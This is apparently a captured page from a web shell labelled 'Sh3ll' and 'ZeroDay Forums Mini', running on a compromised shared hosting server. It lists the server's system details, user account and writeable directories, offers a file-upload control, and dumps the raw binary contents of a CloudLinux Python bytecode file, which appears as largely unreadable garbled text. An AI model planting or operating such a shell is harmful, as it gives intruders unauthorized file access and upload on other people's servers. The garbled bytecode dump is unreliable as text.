Sh3ll
OdayForums


Server : LiteSpeed
System : Linux premium84.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
User : claqxcrl ( 523)
PHP Version : 8.1.32
Disable Function : NONE
Directory :  /lib/python3.6/site-packages/rhn/actions/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3.6/site-packages/rhn/actions/__pycache__/up2date_config.cpython-36.opt-1.pyc
3

���gb�@s^ddlZddlZddlmZej�ZddgZdZd
dd�Zddd�Z	dd�Z
ed	krZe
�dS)�N)�config�update�getcCs�|rddifStdkrtd�t|�ti�kr8ddifSg}tdrNtd}ng}x*|j�D]}||krjq\tj|||�q\Wt|�r�|Stj�ddifS)	z9Invoke this to change the ondisk configuration of up2daterzno-ops for caching�zcalled update_up2date_config�
z$Invalid arguments passed to functionZdisallowConfChangeszconfig updated)�
argVerbose�print�type�cfg�keys�set�lenZsave)Z
configdict�
cache_onlyZ
unknownparamsZ
skipParamsZparam�r�$/usr/lib/python3.6/up2date_config.pyrs$


cCsN|rddifStdkrtd�i}xtj�D]}t|||<q,Wddd|ifS)z.Reterieve the current configuration of up2daterzno-ops for cachingrzcalled get_up2date_configzconfiguration retrived�data)rrr
r)r�ret�krrrr2s
cCsbt�}|dd}ddl}|j�}||d<t|�ddl}|jt|��d|d<|jt|��dS)N�rrZ
timeStampTestz)https://xmlrpc.cln.cloudlinux.com/XMLRPC/Z	serverURL)r�timer�pprintr)Z
configdatatupZ
configdatarZ	timestamprrrr�main@sr�__main__)N)N)�os�reZup2date_clientrZinitUp2dateConfigr
Z
__rhnexport__rrrr�__name__rrrr�<module>s



ZeroDay Forums Mini